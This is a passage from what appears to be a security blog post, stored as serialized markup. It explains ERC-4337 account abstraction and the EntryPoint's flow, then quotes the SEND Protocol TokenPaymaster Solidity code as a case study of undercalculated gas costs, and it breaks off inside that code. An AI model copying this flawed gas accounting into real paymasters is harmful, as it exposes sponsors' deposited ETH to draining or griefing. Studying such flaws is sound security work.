ERC‑20 tokens or via sponsor (gasless UX)",{"type":25,"tag":2037,"props":106093,"children":106094},{},[106095],{"type":31,"value":106096},"Using custom signature schemes or multisig logic",{"type":25,"tag":2037,"props":106098,"children":106099},{},[106100],{"type":31,"value":106101},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":25,"tag":26,"props":106103,"children":106105},{"id":106104},"how-erc-4337-works",[106106],{"type":31,"value":106107},"How ERC-4337 Works",{"type":25,"tag":38,"props":106109,"children":106110},{},[106111],{"type":31,"value":106112},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":25,"tag":38,"props":106114,"children":106115},{},[106116],{"type":25,"tag":6461,"props":106117,"children":106119},{"alt":54541,"src":106118},"/posts/paymasters-evm/flowchart.png",[],{"type":25,"tag":38,"props":106121,"children":106122},{},[106123],{"type":31,"value":106124},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":25,"tag":607,"props":106126,"children":106128},{"id":106127},"useroperation",[106129],{"type":25,"tag":82,"props":106130,"children":106132},{"className":106131},[],[106133],{"type":31,"value":106134},"UserOperation",{"type":25,"tag":38,"props":106136,"children":106137},{},[106138],{"type":31,"value":106139},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":25,"tag":2033,"props":106141,"children":106142},{},[106143,106148,106153],{"type":25,"tag":2037,"props":106144,"children":106145},{},[106146],{"type":31,"value":106147},"Target contract call(s)",{"type":25,"tag":2037,"props":106149,"children":106150},{},[106151],{"type":31,"value":106152},"Signature or validation metadata",{"type":25,"tag":2037,"props":106154,"children":106155},{},[106156,106158,106164],{"type":31,"value":106157},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":25,"tag":82,"props":106159,"children":106161},{"className":106160},[],[106162],{"type":31,"value":106163},"UserOperations",{"type":31,"value":106165}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":25,"tag":607,"props":106167,"children":106169},{"id":106168},"smart-contract-account",[106170],{"type":31,"value":106171},"Smart Contract Account",{"type":25,"tag":38,"props":106173,"children":106174},{},[106175,106177,106183,106184,106190],{"type":31,"value":106176},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":25,"tag":82,"props":106178,"children":106180},{"className":106179},[],[106181],{"type":31,"value":106182},"validateUserOp()",{"type":31,"value":1301},{"type":25,"tag":82,"props":106185,"children":106187},{"className":106186},[],[106188],{"type":31,"value":106189},"executeUserOp()",{"type":31,"value":106191},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":25,"tag":607,"props":106193,"children":106195},{"id":106194},"bundler",[106196],{"type":31,"value":106197},"Bundler",{"type":25,"tag":38,"props":106199,"children":106200},{},[106201,106203,106208,106210,106216],{"type":31,"value":106202},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":25,"tag":82,"props":106204,"children":106206},{"className":106205},[],[106207],{"type":31,"value":106163},{"type":31,"value":106209},", packages them, and submits them in a single transaction to the ",{"type":25,"tag":82,"props":106211,"children":106213},{"className":106212},[],[106214],{"type":31,"value":106215},"EntryPoint",{"type":31,"value":106217}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":25,"tag":607,"props":106219,"children":106220},{"id":18674},[106221],{"type":25,"tag":82,"props":106222,"children":106224},{"className":106223},[],[106225],{"type":31,"value":106215},{"type":25,"tag":38,"props":106227,"children":106228},{},[106229,106230,106235,106237,106242,106244,106248,106250,106255],{"type":31,"value":474},{"type":25,"tag":82,"props":106231,"children":106233},{"className":106232},[],[106234],{"type":31,"value":106215},{"type":31,"value":106236}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":25,"tag":82,"props":106238,"children":106240},{"className":106239},[],[106241],{"type":31,"value":106163},{"type":31,"value":106243}," submitted by a ",{"type":25,"tag":9267,"props":106245,"children":106246},{},[106247],{"type":31,"value":106197},{"type":31,"value":106249},", the ",{"type":25,"tag":82,"props":106251,"children":106253},{"className":106252},[],[106254],{"type":31,"value":106215},{"type":31,"value":106256}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":25,"tag":38,"props":106258,"children":106259},{},[106260,106262,106267,106269,106273,106275,106280,106282,106288],{"type":31,"value":106261},"Once all operations have been processed, the ",{"type":25,"tag":82,"props":106263,"children":106265},{"className":106264},[],[106266],{"type":31,"value":106215},{"type":31,"value":106268}," calculates the total gas consumed and reimburses the ",{"type":25,"tag":9267,"props":106270,"children":106271},{},[106272],{"type":31,"value":106197},{"type":31,"value":106274},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":25,"tag":82,"props":106276,"children":106278},{"className":106277},[],[106279],{"type":31,"value":106215},{"type":31,"value":106281}," or from a ",{"type":25,"tag":82,"props":106283,"children":106285},{"className":106284},[],[106286],{"type":31,"value":106287},"paymaster",{"type":31,"value":106289}," that has agreed to sponsor the transaction.",{"type":25,"tag":607,"props":106291,"children":106292},{"id":106287},[106293],{"type":25,"tag":82,"props":106294,"children":106296},{"className":106295},[],[106297],{"type":31,"value":106298},"Paymaster",{"type":25,"tag":38,"props":106300,"children":106301},{},[106302,106304,106309],{"type":31,"value":106303},"A ",{"type":25,"tag":82,"props":106305,"children":106307},{"className":106306},[],[106308],{"type":31,"value":106287},{"type":31,"value":106310}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":25,"tag":2033,"props":106312,"children":106313},{},[106314,106325],{"type":25,"tag":2037,"props":106315,"children":106316},{},[106317,106323],{"type":25,"tag":82,"props":106318,"children":106320},{"className":106319},[],[106321],{"type":31,"value":106322},"validatePaymasterUserOp()",{"type":31,"value":106324}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":25,"tag":2037,"props":106326,"children":106327},{},[106328,106334],{"type":25,"tag":82,"props":106329,"children":106331},{"className":106330},[],[106332],{"type":31,"value":106333},"postOp()",{"type":31,"value":106335},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":25,"tag":38,"props":106337,"children":106338},{},[106339,106341,106346],{"type":31,"value":106340},"By supporting both sponsorship and token-based gas payments, ",{"type":25,"tag":82,"props":106342,"children":106344},{"className":106343},[],[106345],{"type":31,"value":106287},{"type":31,"value":106347}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":25,"tag":26,"props":106349,"children":106351},{"id":106350},"understanding-the-entrypoints-flow",[106352,106354,106359],{"type":31,"value":106353},"Understanding the ",{"type":25,"tag":82,"props":106355,"children":106357},{"className":106356},[],[106358],{"type":31,"value":106215},{"type":31,"value":106360},"'s Flow",{"type":25,"tag":38,"props":106362,"children":106363},{},[106364,106366,106371,106372,106377,106379,106390,106392,106397,106398,106403],{"type":31,"value":106365},"When a bundler submits ",{"type":25,"tag":82,"props":106367,"children":106369},{"className":106368},[],[106370],{"type":31,"value":106163},{"type":31,"value":20364},{"type":25,"tag":82,"props":106373,"children":106375},{"className":106374},[],[106376],{"type":31,"value":106215},{"type":31,"value":106378}," contract via ",{"type":25,"tag":162,"props":106380,"children":106383},{"href":106381,"rel":106382},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[166],[106384],{"type":25,"tag":82,"props":106385,"children":106387},{"className":106386},[],[106388],{"type":31,"value":106389},"handleOps()",{"type":31,"value":106391},", the processing occurs in two main phases: ",{"type":25,"tag":9267,"props":106393,"children":106394},{},[106395],{"type":31,"value":106396},"Validation",{"type":31,"value":1301},{"type":25,"tag":9267,"props":106399,"children":106400},{},[106401],{"type":31,"value":106402},"Execution",{"type":31,"value":179},{"type":25,"tag":607,"props":106405,"children":106407},{"id":106406},"validation-phase",[106408],{"type":31,"value":106409},"Validation Phase",{"type":25,"tag":38,"props":106411,"children":106412},{},[106413,106415,106420,106422,106428,106430,106436,106437,106442],{"type":31,"value":106414},"In this phase, the ",{"type":25,"tag":82,"props":106416,"children":106418},{"className":106417},[],[106419],{"type":31,"value":106215},{"type":31,"value":106421}," first validates all operations in the submitted ",{"type":25,"tag":82,"props":106423,"children":106425},{"className":106424},[],[106426],{"type":31,"value":106427},"UserOps",{"type":31,"value":106429}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":25,"tag":82,"props":106431,"children":106433},{"className":106432},[],[106434],{"type":31,"value":106435},"UserOp",{"type":31,"value":106249},{"type":25,"tag":82,"props":106438,"children":106440},{"className":106439},[],[106441],{"type":31,"value":106215},{"type":31,"value":1466},{"type":25,"tag":6705,"props":106444,"children":106445},{},[106446,106464,106482,106503,106515],{"type":25,"tag":2037,"props":106447,"children":106448},{},[106449,106456,106458],{"type":25,"tag":162,"props":106450,"children":106453},{"href":106451,"rel":106452},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[166],[106454],{"type":31,"value":106455},"Calculates",{"type":31,"value":106457}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":25,"tag":82,"props":106459,"children":106461},{"className":106460},[],[106462],{"type":31,"value":106463},"maxFeePerGas",{"type":25,"tag":2037,"props":106465,"children":106466},{},[106467,106474,106475,106480],{"type":25,"tag":162,"props":106468,"children":106471},{"href":106469,"rel":106470},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[166],[106472],{"type":31,"value":106473},"Calls",{"type":31,"value":10403},{"type":25,"tag":82,"props":106476,"children":106478},{"className":106477},[],[106479],{"type":31,"value":106182},{"type":31,"value":106481}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":25,"tag":2037,"props":106483,"children":106484},{},[106485,106487,106494,106496,106501],{"type":31,"value":106486},"If no paymaster is specified, attempts to ",{"type":25,"tag":162,"props":106488,"children":106491},{"href":106489,"rel":106490},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[166],[106492],{"type":31,"value":106493},"deduct",{"type":31,"value":106495}," the prefund amount from the sender's ETH deposit in the ",{"type":25,"tag":82,"props":106497,"children":106499},{"className":106498},[],[106500],{"type":31,"value":106215},{"type":31,"value":106502}," (this can be partially refunded later if actual execution costs less)",{"type":25,"tag":2037,"props":106504,"children":106505},{},[106506,106513],{"type":25,"tag":162,"props":106507,"children":106510},{"href":106508,"rel":106509},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[166],[106511],{"type":31,"value":106512},"Validates",{"type":31,"value":106514}," the nonce to prevent replay attacks",{"type":25,"tag":2037,"props":106516,"children":106517},{},[106518,106520,106526,106528,106534,106535,106540],{"type":31,"value":106519},"If a paymaster is specified, it will ",{"type":25,"tag":162,"props":106521,"children":106524},{"href":106522,"rel":106523},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[166],[106525],{"type":31,"value":106493},{"type":31,"value":106527}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":25,"tag":162,"props":106529,"children":106532},{"href":106530,"rel":106531},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[166],[106533],{"type":31,"value":42253},{"type":31,"value":10403},{"type":25,"tag":82,"props":106536,"children":106538},{"className":106537},[],[106539],{"type":31,"value":106322},{"type":31,"value":106541}," on the paymaster contract to verify it will cover gas costs",{"type":25,"tag":38,"props":106543,"children":106544},{},[106545,106547,106552,106554,106559],{"type":31,"value":106546},"Only after all these validation checks pass will the ",{"type":25,"tag":82,"props":106548,"children":106550},{"className":106549},[],[106551],{"type":31,"value":106215},{"type":31,"value":106553}," move on to actually executing the ",{"type":25,"tag":82,"props":106555,"children":106557},{"className":106556},[],[106558],{"type":31,"value":106134},{"type":31,"value":106560},". This strict validation flow ensures that:",{"type":25,"tag":2033,"props":106562,"children":106563},{},[106564,106569,106574,106579],{"type":25,"tag":2037,"props":106565,"children":106566},{},[106567],{"type":31,"value":106568},"The operation is legitimate and authorized by the user",{"type":25,"tag":2037,"props":106570,"children":106571},{},[106572],{"type":31,"value":106573},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":25,"tag":2037,"props":106575,"children":106576},{},[106577],{"type":31,"value":106578},"The operation cannot be replayed",{"type":25,"tag":2037,"props":106580,"children":106581},{},[106582],{"type":31,"value":106583},"All involved contracts (sender and paymaster) have approved the execution",{"type":25,"tag":38,"props":106585,"children":106586},{},[106587],{"type":31,"value":106588},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":25,"tag":607,"props":106590,"children":106592},{"id":106591},"execution-phase",[106593],{"type":31,"value":106594},"Execution Phase",{"type":25,"tag":38,"props":106596,"children":106597},{},[106598,106600,106605,106607,106614,106616,106621],{"type":31,"value":106599},"After all operations have passed validation, the ",{"type":25,"tag":82,"props":106601,"children":106603},{"className":106602},[],[106604],{"type":31,"value":106215},{"type":31,"value":106606}," begins the ",{"type":25,"tag":162,"props":106608,"children":106611},{"href":106609,"rel":106610},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[166],[106612],{"type":31,"value":106613},"execution",{"type":31,"value":106615}," phase, processing each ",{"type":25,"tag":82,"props":106617,"children":106619},{"className":106618},[],[106620],{"type":31,"value":106134},{"type":31,"value":106622}," individually. For each operation, the flow is:",{"type":25,"tag":6705,"props":106624,"children":106625},{},[106626,106686,106732],{"type":25,"tag":2037,"props":106627,"children":106628},{},[106629,106630,106635,106637,106643,106644,106650,106652],{"type":31,"value":474},{"type":25,"tag":82,"props":106631,"children":106633},{"className":106632},[],[106634],{"type":31,"value":106215},{"type":31,"value":106636}," makes a ",{"type":25,"tag":162,"props":106638,"children":106641},{"href":106639,"rel":106640},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[166],[106642],{"type":31,"value":42253},{"type":31,"value":60738},{"type":25,"tag":82,"props":106645,"children":106647},{"className":106646},[],[106648],{"type":31,"value":106649},"innerHandleOp()",{"type":31,"value":106651},", which:\n",{"type":25,"tag":2033,"props":106653,"children":106654},{},[106655,106667,106672],{"type":25,"tag":2037,"props":106656,"children":106657},{},[106658,106665],{"type":25,"tag":162,"props":106659,"children":106662},{"href":106660,"rel":106661},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[166],[106663],{"type":31,"value":106664},"Forwards",{"type":31,"value":106666}," the operation to the sender's smart account contract",{"type":25,"tag":2037,"props":106668,"children":106669},{},[106670],{"type":31,"value":106671},"Executes the intended transaction(s) within the smart account",{"type":25,"tag":2037,"props":106673,"children":106674},{},[106675,106677,106684],{"type":31,"value":106676},"Handles ",{"type":25,"tag":162,"props":106678,"children":106681},{"href":106679,"rel":106680},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[166],[106682],{"type":31,"value":106683},"post-execution",{"type":31,"value":106685}," tasks and cleanup",{"type":25,"tag":2037,"props":106687,"children":106688},{},[106689,106691,106697,106699,106705,106706,106712,106714],{"type":31,"value":106690},"If a paymaster was used, ",{"type":25,"tag":82,"props":106692,"children":106694},{"className":106693},[],[106695],{"type":31,"value":106696},"Entrypoint",{"type":31,"value":106698}," will ",{"type":25,"tag":162,"props":106700,"children":106703},{"href":106701,"rel":106702},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[166],[106704],{"type":31,"value":42253},{"type":31,"value":10403},{"type":25,"tag":82,"props":106707,"children":106709},{"className":106708},[],[106710],{"type":31,"value":106711},"paymaster.postOp()",{"type":31,"value":106713}," to:\n",{"type":25,"tag":2033,"props":106715,"children":106716},{},[106717,106722,106727],{"type":25,"tag":2037,"props":106718,"children":106719},{},[106720],{"type":31,"value":106721},"Allow paymaster to finalize its accounting",{"type":25,"tag":2037,"props":106723,"children":106724},{},[106725],{"type":31,"value":106726},"Process any refunds or additional charges",{"type":25,"tag":2037,"props":106728,"children":106729},{},[106730],{"type":31,"value":106731},"Complete any paymaster-specific logic",{"type":25,"tag":2037,"props":106733,"children":106734},{},[106735,106737,106742,106743,106750,106752],{"type":31,"value":106736},"Finally, after all operations are processed, the ",{"type":25,"tag":82,"props":106738,"children":106740},{"className":106739},[],[106741],{"type":31,"value":106215},{"type":31,"value":10403},{"type":25,"tag":162,"props":106744,"children":106747},{"href":106745,"rel":106746},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[166],[106748],{"type":31,"value":106749},"compensates",{"type":31,"value":106751}," the bundler for:\n",{"type":25,"tag":2033,"props":106753,"children":106754},{},[106755,106760,106765],{"type":25,"tag":2037,"props":106756,"children":106757},{},[106758],{"type":31,"value":106759},"Gas costs from executing all operations",{"type":25,"tag":2037,"props":106761,"children":106762},{},[106763],{"type":31,"value":106764},"Overhead from submitting the batch transaction",{"type":25,"tag":2037,"props":106766,"children":106767},{},[106768],{"type":31,"value":106769},"Any unused gas, which is refunded",{"type":25,"tag":38,"props":106771,"children":106772},{},[106773],{"type":31,"value":106774},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":25,"tag":38,"props":106776,"children":106777},{},[106778,106780,106785,106787,106793,106795,106800],{"type":31,"value":106779},"Now that we understand how the ",{"type":25,"tag":82,"props":106781,"children":106783},{"className":106782},[],[106784],{"type":31,"value":106215},{"type":31,"value":106786}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":25,"tag":82,"props":106788,"children":106790},{"className":106789},[],[106791],{"type":31,"value":106792},"paymasters",{"type":31,"value":106794}," that align with the ",{"type":25,"tag":82,"props":106796,"children":106798},{"className":106797},[],[106799],{"type":31,"value":106215},{"type":31,"value":106801},"'s execution model, leading to potential vulnerabilities.",{"type":25,"tag":453,"props":106803,"children":106805},{"id":106804},"common-pitfalls-in-paymaster-implementation",[106806],{"type":31,"value":106807},"Common Pitfalls in Paymaster Implementation",{"type":25,"tag":38,"props":106809,"children":106810},{},[106811,106813,106818],{"type":31,"value":106812},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":25,"tag":82,"props":106814,"children":106816},{"className":106815},[],[106817],{"type":31,"value":106215},{"type":31,"value":106819}," to exploitation or griefing.",{"type":25,"tag":38,"props":106821,"children":106822},{},[106823,106825,106830],{"type":31,"value":106824},"In this section, we’ll walk through the ",{"type":25,"tag":9267,"props":106826,"children":106827},{},[106828],{"type":31,"value":106829},"two most common pitfalls",{"type":31,"value":106831}," we’ve observed in real-world paymaster implementations:",{"type":25,"tag":26,"props":106833,"children":106835},{"id":106834},"undercalculated-gas-costs",[106836],{"type":25,"tag":9267,"props":106837,"children":106838},{},[106839],{"type":31,"value":106840},"Undercalculated Gas Costs",{"type":25,"tag":38,"props":106842,"children":106843},{},[106844,106846,106851,106853,106858,106860,106865,106867,106874],{"type":31,"value":106845},"To understand this issue, let's first examine how gas penalties work in the ",{"type":25,"tag":82,"props":106847,"children":106849},{"className":106848},[],[106850],{"type":31,"value":106215},{"type":31,"value":106852},". When a ",{"type":25,"tag":82,"props":106854,"children":106856},{"className":106855},[],[106857],{"type":31,"value":106134},{"type":31,"value":106859}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":25,"tag":82,"props":106861,"children":106863},{"className":106862},[],[106864],{"type":31,"value":106215},{"type":31,"value":106866}," charges a ",{"type":25,"tag":162,"props":106868,"children":106871},{"href":106869,"rel":106870},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[166],[106872],{"type":31,"value":106873},"penalty of 10%",{"type":31,"value":106875}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":25,"tag":38,"props":106877,"children":106878},{},[106879],{"type":31,"value":106880},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":25,"tag":206,"props":106882,"children":106884},{"className":8417,"code":106883,"language":8416,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[106885],{"type":25,"tag":82,"props":106886,"children":106887},{"__ignoreMap":7},[106888,106932,106939,106996,107004,107012,107054,107061,107073,107095,107116,107146,107197,107227,107248,107286,107325,107342,107381,107405,107422,107465,107487,107504,107521,107528,107535,107561,107578,107613,107644,107656,107703,107710,107717,107724,107791,107798,107805,107812,107823,107842,107861,107925,107948,107981,107996,108031,108039,108078,108103,108124,108132,108159,108186,108194,108202,108244,108251,108258,108282,108298,108305,108312,108330,108343,108350,108358],{"type":25,"tag":216,"props":106889,"children":106890},{"class":6916,"line":6917},[106891,106895,106900,106905,106910,106914,106919,106923,106928],{"type":25,"tag":216,"props":106892,"children":106893},{"style":6930},[106894],{"type":31,"value":93779},{"type":25,"tag":216,"props":106896,"children":106897},{"style":7369},[106898],{"type":31,"value":106899}," TokenPaymaster",{"type":25,"tag":216,"props":106901,"children":106902},{"style":6930},[106903],{"type":31,"value":106904}," is",{"type":25,"tag":216,"props":106906,"children":106907},{"style":7369},[106908],{"type":31,"value":106909}," BasePaymaster",{"type":25,"tag":216,"props":106911,"children":106912},{"style":6958},[106913],{"type":31,"value":7020},{"type":25,"tag":216,"props":106915,"children":106916},{"style":7369},[106917],{"type":31,"value":106918},"UniswapHelper",{"type":25,"tag":216,"props":106920,"children":106921},{"style":6958},[106922],{"type":31,"value":7020},{"type":25,"tag":216,"props":106924,"children":106925},{"style":7369},[106926],{"type":31,"value":106927},"OracleHelper",{"type":25,"tag":216,"props":106929,"children":106930},{"style":6958},[106931],{"type":31,"value":7235},{"type":25,"tag":216,"props":106933,"children":106934},{"class":6916,"line":6763},[106935],{"type":25,"tag":216,"props":106936,"children":106937},{"style":6958},[106938],{"type":31,"value":14269},{"type":25,"tag":216,"props":106940,"children":106941},{"class":6916,"line":6772},[106942,106946,106951,106955,106960,106965,106970,106974,106979,106983,106987,106992],{"type":25,"tag":216,"props":106943,"children":106944},{"style":6930},[106945],{"type":31,"value":93796},{"type":25,"tag":216,"props":106947,"children":106948},{"style":7041},[106949],{"type":31,"value":106950}," _validatePaymasterUserOp",{"type":25,"tag":216,"props":106952,"children":106953},{"style":6958},[106954],{"type":31,"value":1844},{"type":25,"tag":216,"props":106956,"children":106957},{"style":6930},[106958],{"type":31,"value":106959},"PackedUserOperation",{"type":25,"tag":216,"props":106961,"children":106962},{"style":6930},[106963],{"type":31,"value":106964}," calldata",{"type":25,"tag":216,"props":106966,"children":106967},{"style":6941},[106968],{"type":31,"value":106969}," userOp",{"type":25,"tag":216,"props":106971,"children":106972},{"style":6958},[106973],{"type":31,"value":7020},{"type":25,"tag":216,"props":106975,"children":106976},{"style":7369},[106977],{"type":31,"value":106978},"bytes32",{"type":25,"tag":216,"props":106980,"children":106981},{"style":6958},[106982],{"type":31,"value":7020},{"type":25,"tag":216,"props":106984,"children":106985},{"style":7369},[106986],{"type":31,"value":50130},{"type":25,"tag":216,"props":106988,"children":106989},{"style":6941},[106990],{"type":31,"value":106991}," requiredPreFund",{"type":25,"tag":216,"props":106993,"children":106994},{"style":6958},[106995],{"type":31,"value":7101},{"type":25,"tag":216,"props":106997,"children":106998},{"class":6916,"line":6999},[106999],{"type":25,"tag":216,"props":107000,"children":107001},{"style":6930},[107002],{"type":31,"value":107003},"        internal\n",{"type":25,"tag":216,"props":107005,"children":107006},{"class":6916,"line":7104},[107007],{"type":25,"tag":216,"props":107008,"children":107009},{"style":6930},[107010],{"type":31,"value":107011},"        override\n",{"type":25,"tag":216,"props":107013,"children":107014},{"class":6916,"line":7210},[107015,107020,107024,107028,107033,107037,107041,107045,107050],{"type":25,"tag":216,"props":107016,"children":107017},{"style":6967},[107018],{"type":31,"value":107019},"        returns",{"type":25,"tag":216,"props":107021,"children":107022},{"style":6958},[107023],{"type":31,"value":7010},{"type":25,"tag":216,"props":107025,"children":107026},{"style":7369},[107027],{"type":31,"value":87794},{"type":25,"tag":216,"props":107029,"children":107030},{"style":6930},[107031],{"type":31,"value":107032}," memory",{"type":25,"tag":216,"props":107034,"children":107035},{"style":6941},[107036],{"type":31,"value":80306},{"type":25,"tag":216,"props":107038,"children":107039},{"style":6958},[107040],{"type":31,"value":7020},{"type":25,"tag":216,"props":107042,"children":107043},{"style":7369},[107044],{"type":31,"value":50130},{"type":25,"tag":216,"props":107046,"children":107047},{"style":6941},[107048],{"type":31,"value":107049}," validationResult",{"type":25,"tag":216,"props":107051,"children":107052},{"style":6958},[107053],{"type":31,"value":7101},{"type":25,"tag":216,"props":107055,"children":107056},{"class":6916,"line":7238},[107057],{"type":25,"tag":216,"props":107058,"children":107059},{"style":6958},[107060],{"type":31,"value":33141},{"type":25,"tag":216,"props":107062,"children":107063},{"class":6916,"line":7251},[107064,107069],{"type":25,"tag":216,"props":107065,"children":107066},{"style":6967},[107067],{"type":31,"value":107068},"        unchecked",{"type":25,"tag":216,"props":107070,"children":107071},{"style":6958},[107072],{"type":31,"value":7235},{"type":25,"tag":216,"props":107074,"children":107075},{"class":6916,"line":7269},[107076,107081,107086,107090],{"type":25,"tag":216,"props":107077,"children":107078},{"style":7369},[107079],{"type":31,"value":107080},"            uint256",{"type":25,"tag":216,"props":107082,"children":107083},{"style":6958},[107084],{"type":31,"value":107085}," priceMarkup ",{"type":25,"tag":216,"props":107087,"children":107088},{"style":6947},[107089],{"type":31,"value":266},{"type":25,"tag":216,"props":107091,"children":107092},{"style":6958},[107093],{"type":31,"value":107094}," tokenPaymasterConfig.priceMarkup;\n",{"type":25,"tag":216,"props":107096,"children":107097},{"class":6916,"line":7290},[107098,107102,107107,107111],{"type":25,"tag":216,"props":107099,"children":107100},{"style":7369},[107101],{"type":31,"value":107080},{"type":25,"tag":216,"props":107103,"children":107104},{"style":6958},[107105],{"type":31,"value":107106}," baseFee 